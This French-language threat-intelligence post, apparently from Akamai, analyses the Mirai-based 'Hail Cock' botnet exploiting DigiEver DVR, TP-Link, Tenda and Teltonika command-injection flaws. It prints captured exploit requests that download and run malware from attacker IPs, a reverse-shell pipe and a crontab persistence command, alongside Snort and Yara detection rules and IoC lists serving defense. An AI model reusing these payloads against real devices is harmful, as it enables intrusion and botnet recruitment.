Une vulnérabilité dans enregistreurs vidéo numériques DigiEver DS-2105 Pro est exploitée pour propager des logiciels malveillants.
Synthèse
Une vulnérabilité des enregistreurs numériques DigiEver DS-2105 Pro est exploitée pour diffuser des logiciels malveillants.
L'équipe Security Intelligence Research (SIRT) d'Akamai a remarqué cette activité dans ses pots de miel le 18 novembre 2024.
Cette vulnérabilité a été découverte à l'origine par Ta-LUN Yen et un identifiant CVE a été demandé par l'équipe SIRT d'Akamai.
Le logiciel malveillant est une variante de Mirai qui a été modifiée pour utiliser des algorithmes de chiffrement améliorés.
Nous avons inclus une liste d'indicateurs de compromission (IoC) dans ce billet de blog pour aider à la défense contre cette menace.
AVERTISSEMENT RELATIF AU CONTENU : Les acteurs de la menace responsables de ce logiciel malveillant utilisent des noms de contenu qui peuvent être considérés comme offensants par certains. Cette campagne étant actuellement très active, nous avons fait le choix de ne pas les censurer afin d'en faciliter la détection.
Introduction et découverte
À la mi-novembre 2024, l'équipe SIRT d'Akamai a découvert une recrudescence de l'activité ciblant l'URI /cgi-bin/cgi_main.cgi dans notre réseau mondial de pots de miel. Cette activité semble faire partie d'une récente campagne de logiciels malveillants basée sur Mirai et remontant au moins à octobre 2024.
La vulnérabilité ne comporte pas d'attribution de CVE pour le moment, mais elle semble avoir été découverte à l'origine et publié par Ta-Lun Yen de TXOne Research. Dans cette publication, il attribue cette vulnérabilité d'exécution de code à distance (RCE) à plusieurs terminaux DVR, y compris le modèle DigiEver DS-2105 Pro. Nos analystes ont déterminé que les tentatives d'exploitation que nous avons observées correspondaient à cette recherche de vulnérabilité publiée.
Une enquête plus approfondie sur cette campagne a révélé l'existence d'un nouveau botnet, baptisé « Hail Cock Botnet », actif depuis au moins septembre 2024. À l'aide d'une variante du logiciel malveillant Mirai qui intègre les algorithmes de décryptage ChaCha20 et XOR, il a été observé en train de compromettre des terminaux vulnérables de l'Internet des objets (IoT) dans la nature, tels que l'enregistreur numérique DigiEver et les terminaux de la marque TP-Li. CVE-2023-1389.
La vulnérabilité
La vulnérabilité de l'enregistreur numérique DigiEver a été découverte par le chercheur de TXOne après qu'il a examiné certaines plages d'adresses IP exposées lors de tests de pénétration. Grâce aux requêtes de Shodan, il a pu identifier de nombreuses adresses IP comme étant des terminaux historiquement vulnérables, tels que les enregistreurs numériques. Il a pu émuler le micrologiciel de l'enregistreur numérique DigiEver et a remarqué que /cgi-bin/cgi_main.cgi était l'un des points de terminaison CGI (figure 1).
Grâce à ce point de terminaison, le chercheur a pu obtenir une vulnérabilité RCE (figure 2).
Exploitation active
La SIRT d'Akamai a remarqué que cet URI a commencé à être ciblé par un acteur de menace inconnu le 18 novembre 2024. Nous avons pu faire correspondre la syntaxe de la charge utile observée dans nos pots de miel à la démonstration (PoC) de la publication de recherche (figure 3).
cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&ntp1=time.stdtime.gov.tw&ntp2=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30
Figure 3 : Charge utile ciblant la vulnérabilité RCE de DigiEver (URL décodée)
La vulnérabilité semble permettre l'injection d'une commande en tant qu'argument dans le paramètre ntp. Dans cet exemple, elle permet d'atteindre un serveur distant hébergeant des logiciels malveillants afin de télécharger des logiciels malveillants basés sur Mirai. Ces sessions sont envoyées sous forme de requêtes HTTP POST sur le port 80, avec « **IP Address**:80/cfg_system_time.htm » comme en-tête HTTP Referer.
En plus de l'exploit RCE DigiEver, nous voyons également ce botnet cibler d'autres vulnérabilités, telles que CVE-2023-1389, qui affecte les terminaux TP-Link (figure 4).
GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://45.202.35[.]24/l+-O-|+sh`) HTTP/1.1
Host: localhost:80
User-Agent: Go-http-client/1.1
Figure 4 : Charge utile ciblant la CVE-2023-1389
Le botnet exploite cette vulnérabilité d'injection de commande dans le point de terminaison /cgi-bin/luci;stok=/locale de l'interface de gestion Web de TP-Link pour télécharger et exécuter un script shell malveillant. Ce script télécharge à son tour la charge utile du logiciel malveillant Mirai et l'exécute sur le système cible (figure 5).
Le botnet cible également la vulnérabilité d'injection de commande à distance de Tenda HG6 v3.3.0 (figure 6).
/boaform/admin/formTracert target_addr=;`rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|wget+http://45.202.35[.]24/b+-O-|+sh+>/tmp/f`&waninf=1_INTERNET_R_VID_
Figure 6 : Charge utile ciblant Tenda HG6
En plus de ces vulnérabilités, nous avons observé que ce botnet en ciblait d'autres, telles que CVE-2018-17532, qui affecte les routeurs Teltonika RUT9XX. L'exploit télécharge et exécute un script shell via une requête wget qui, à son tour, fait une requête supplémentaire pour télécharger et exécuter le logiciel malveillant sur la machine cible (figure 7).
Les logiciels malveillants
Les échantillons de logiciels malveillants que nous avons identifiés étaient des variantes de logiciels malveillants basées sur Mirai qui ont été distribuées dans une variété d'architectures, notamment x86, ARM, MIPS, etc. Leur utilisation de XOR et de ChaCha20 pour leur algorithme de déchiffrement était un aspect particulièrement intéressant de ces échantillons.
Certaines des chaînes visibles dans la section d'analyse dynamique, telles que la sortie vers la console « you are now part of hail cock botnet », ne pouvaient pas être vues dans la section des chaînes lisibles par l'homme du logiciel malveillant, ni dans les chaînes décodées par XOR.
Nous avons découvert qu'un chercheur indépendant en sécurité au Japon a publié des résultats intéressants sur ce logiciel malveillant. Il a découvert que le logiciel malveillant décryptait cette chaîne et l'affichait sur la console, la chaîne étant stockée dans le segment de données du binaire (figure 8).
La vérification de l'affectation d'une chaîne à cette sortie montre la fonction de chiffrement de chaîne (FUN_00408500) et l'emplacement de la chaîne (DAT_005166a0) en tant qu'argument. Après l'initialisation, la fonction suivante est utilisée pour traiter la chaîne chiffrée du deuxième argument et la stocker en mémoire (figure 9).
En examinant la fonction "FUN_00404960," le chercheur a découvert que sa dernière étape implique une opération XOR. Dans les sections où des constantes sont utilisées et converties en code ASCII, la fonction renvoie la chaîne "expand 32-byte k." Cette chaîne est une constante connue dans les algorithmes cryptographiques tels que Salsa20 et ChaCha20, ce qui indique que la fonction "FUN_00404960" est responsable du déchiffrement (figure 10).
Bien que l'utilisation de méthodes de déchiffrement complexes ne soit pas nouvelle, elle suggère une évolution des tactiques, des techniques et des procédures parmi les opérateurs de botnet basés sur Mirai. Cela est d'autant plus remarquable que de nombreux botnets basés sur Mirai dépendent encore de la logique originale d'obscurcissement des chaînes de caractères à partir d'un code recyclé qui était inclus dans la version originale du code source du logiciel malveillant Mirai.
D'après l'analyse statique des chaînes, le logiciel malveillant utilise de nombreuses informations d'identification par défaut ou communes à divers terminaux pour propager le botnet à des hôtes supplémentaires. De nombreuses nouvelles paires d'informations de connexion ont été ajoutées à celles d'origine fournies avec Mirai, y compris la chaîne « telecomadmin », par exemple, qui est le nom d'utilisateur par défaut pour le kit de terminaison fibre Huawei ONT HG8245H5, et le mot de passe par défaut pour certains routeurs utilisant le chipset Realtek.
Détails de l'environnement de test
En exécutant les échantillons de logiciels malveillants dans des environnements de test dynamiques, nous avons pu identifier d'autres indicateurs de compromission (IOC) et des chaînes notables des logiciels malveillants. L'un de ces comportements a été la création d'une tâche cron pour télécharger et exécuter un script shell à partir du domaine « hailcocks[.]ru » afin de maintenir la persistance (figure 11). Il tentera de télécharger le fichier « wget.sh » à partir du même serveur en utilisant curl et/ou wget pour assurer la compatibilité au cas où l'un d'entre eux ne serait pas installé sur l'hôte compromis.
sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks[.]ru/wget.sh; curl --output wget.sh http://hailcocks[.]ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
Figure 11 : Persistance via la crontab
Une fois exécuté, le logiciel malveillant s'est connecté à un plus grand nombre d'hôtes, conformément au comportement typique de Mirai en matière de comportement par force brute de Telnet et de SSH. Il se connecte également à une adresse IP unique distincte avec des enregistrements A résolvant le domaine « kingstonwikkerink[.]dyn » pour les communications de commande et de contrôle (C2).
En outre, les hôtes compromis par ce logiciel malveillant verront une chaîne unique s'afficher sur la console lors de l'exécution du logiciel malveillant. Les versions plus anciennes du logiciel malveillant impriment la chaîne « you are now part of hail cock botnet » (figure 12). Les versions plus récentes du logiciel malveillant impriment quant à elles la chaîne « I just wanna look after my cats, man » sur la console (figure 13).
Conclusion
Depuis des années, les cybercriminels tirent parti de l'héritage du logiciel malveillant Mirai pour perpétuer des campagnes de botnet, et le nouveau botnet Hail Cock ne fait pas exception à la règle. L'une des méthodes les plus faciles pour les acteurs de la menace de compromettre de nouveaux hôtes est de cibler des microprogrammes obsolètes ou du matériel retiré. Le DigiEver DS-2105 Pro, qui a environ 10 ans, en est un exemple. Les fabricants de matériel ne publient pas toujours de correctifs pour les terminaux retirés, et le fabricant lui-même peut parfois avoir cessé son activité. Par conséquent, lorsque les correctifs de sécurité ne sont pas disponibles et qu'il est peu probable qu'ils le soient, nous recommandons de mettre à niveau les terminaux vulnérables vers un modèle plus récent.
Indicateurs de compromission (IoC)
Nous avons inclus une liste d'indicateurs de compromission , ainsi que des règles Snort et Yara, pour aider les défenseurs.
Règles Snort pour les indicateurs de compromission du réseau
Règles Snort pour les IP C2
alert tcp $HOME_NET any -> 154.216.17.126 any (msg:"C2 Comms for Hail Cock Botnet to 154.216.17.126"; flow:to_server,established;)
alert tcp $HOME_NET any -> 154.213.187.50 any (msg:"C2 Comms for Hail Cock Botnet to 154.213.187.50"; flow:to_server,established;)
alert tcp $HOME_NET any -> 86.107.100.80 any (msg:"C2 Comms for Hail Cock Botnet to 86.107.100.80"; flow:to_server,established;)
alert tcp $HOME_NET any -> 213.182.204.57 any (msg:"C2 Comms for Hail Cock Botnet to 213.182.204.57"; flow:to_server,established;)
alert tcp $HOME_NET any -> 195.133.92.51 any (msg:"C2 Comms for Hail Cock Botnet to 195.133.92.51"; flow:to_server,established;)
alert tcp $HOME_NET any -> 185.82.200.181 any (msg:"C2 Comms for Hail Cock Botnet to 185.82.200.181"; flow:to_server,established;)
alert tcp $HOME_NET any -> 81.29.149.178 any (msg:"C2 Comms for Hail Cock Botnet to 81.29.149.178"; flow:to_server,established;)
alert tcp $HOME_NET any -> 88.151.195.22 any (msg:"C2 Comms for Hail Cock Botnet to 88.151.195.22"; flow:to_server,established;)
alert tcp $HOME_NET any -> 91.149.218.232 any (msg:"C2 Comms for Hail Cock Botnet to 91.149.218.232"; flow:to_server,established;)
alert tcp $HOME_NET any -> 91.149.238.18 any (msg:"C2 Comms for Hail Cock Botnet to 91.149.238.18"; flow:to_server,established;)
alert tcp $HOME_NET any -> 31.13.248.89 any (msg:"C2 Comms for Hail Cock Botnet to 31.13.248.89"; flow:to_server,established;)
alert tcp $HOME_NET any -> 193.233.193.45 any (msg:"C2 Comms for Hail Cock Botnet to 193.233.193.45"; flow:to_server,established;)
alert tcp $HOME_NET any -> 194.87.198.29 any (msg:"C2 Comms for Hail Cock Botnet to 194.87.198.29"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.202.35.91 any (msg:"C2 Comms for Hail Cock Botnet to 45.202.35.91"; flow:to_server,established;)
alert tcp $HOME_NET any -> 104.37.188.76 any (msg:"C2 Comms for Hail Cock Botnet to 104.37.188.76"; flow:to_server,established;)
alert tcp $HOME_NET any -> 95.214.53.205 any (msg:"C2 Comms for Hail Cock Botnet to 95.214.53.205"; flow:to_server,established;)
alert tcp $HOME_NET any -> 5.35.104.31 any (msg:"C2 Comms for Hail Cock Botnet to 5.35.104.31"; flow:to_server,established;)
alert tcp $HOME_NET any -> 149.50.106.25 any (msg:"C2 Comms for Hail Cock Botnet to 149.50.106.25"; flow:to_server,established;)
alert tcp $HOME_NET any -> 141.98.11.79 any (msg:"C2 Comms for Hail Cock Botnet to 141.98.11.79"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.202.35.24 any (msg:"C2 Comms for Hail Cock Botnet to 45.202.35.24"; flow:to_server,established;)
alert tcp $HOME_NET any -> 5.39.254.71 any (msg:"C2 Comms for Hail Cock Botnet to 5.39.254.71"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.126.50.101 any (msg:"C2 Comms for Hail Cock Botnet to 45.126.50.101"; flow:to_server,established;)
Règles Snort pour la détection de résolution de domaine C2
alert tcp $HOME_NET any -> hailcocks.ru any (msg:"BLOCK Connection to malicious domain - hailcocks.ru"; flow:to_server,established; sid:1000010; rev:1;)
alert tcp $HOME_NET any -> kingstonwikkerink.dyn any (msg:"BLOCK Connection to malicious domain - kingstonwikkerink.dyn"; flow:to_server,established; sid:1000011; rev:1;)
alert tcp $HOME_NET any -> catvision.dyn any (msg:"BLOCK Connection to malicious domain - catvision.dyn"; flow:to_server,established; sid:1000012; rev:1;)
alert tcp $HOME_NET any -> hikvision.geek any (msg:"BLOCK Connection to malicious domain - hikvision.geek"; flow:to_server,established; sid:1000013; rev:1;)
alert tcp $HOME_NET any -> shitrocket.dyn any (msg:"BLOCK Connection to malicious domain - shitrocket.dyn"; flow:to_server,established; sid:1000014; rev:1;)
alert tcp $HOME_NET any -> catlovingfools.geek any (msg:"BLOCK Connection to malicious domain - catlovingfools.geek"; flow:to_server,established; sid:1000015; rev:1;)
Règles Yara pour les échantillons de programmes malveillants
rule hailcock_malware
{
strings:
$someoffdeeznuts = "someoffdeeznuts"
$ip_address = { 154.213.187.50 }
condition:
any of them
}
rule malware_hashes
{
strings:
$hash_1 = "3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615"
$hash_2 = "0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad"
$hash_3 = "b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af"
$hash_4 = "dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02"
$hash_5 = "a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41"
condition:
any of them
}
rule malicious_domains
{
strings:
$hailcocks = "hailcocks.ru"
$kingstonwikkerink = "kingstonwikkerink.dyn"
$catvision = "catvision.dyn"
$catloving = "catlovingfools.geek"
$hikvision = "hikvision.dyn"
$shitrocket = "shitrocket.dyn"
condition:
any of them
}
Adresses IPv4 de l'infrastructure historique
154.216.17.126
154.213.187.50
86.107.100.80
213.182.204.57
195.133.92.51
185.82.200.181
81.29.149.178
88.151.195.22
91.149.218.232
91.149.238.18
31.13.248.89
193.233.193.45
194.87.198.29
45.202.35.91
104.37.188.76
95.214.53.205
5.35.104.31
149.50.106.25
141.98.11.79
45.202.35.24
5.39.254.71
45.125.66.90
91.132.50.181
Domaines pour les points de terminaison C2 et de distribution de logiciels malveillants
hailcocks[.]ru
kingstonwikkerink[.]dyn
catvision[.]dyn
shitrocket[.]dyn
catlovingfools[.]geek
hikvision[.]geek
Hachages SHA256
3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615
0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad
b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af
dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02
a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41
31813bb69e10b636c785358ca09d7f91979454dc6fc001f750bf03ad8bde8fe5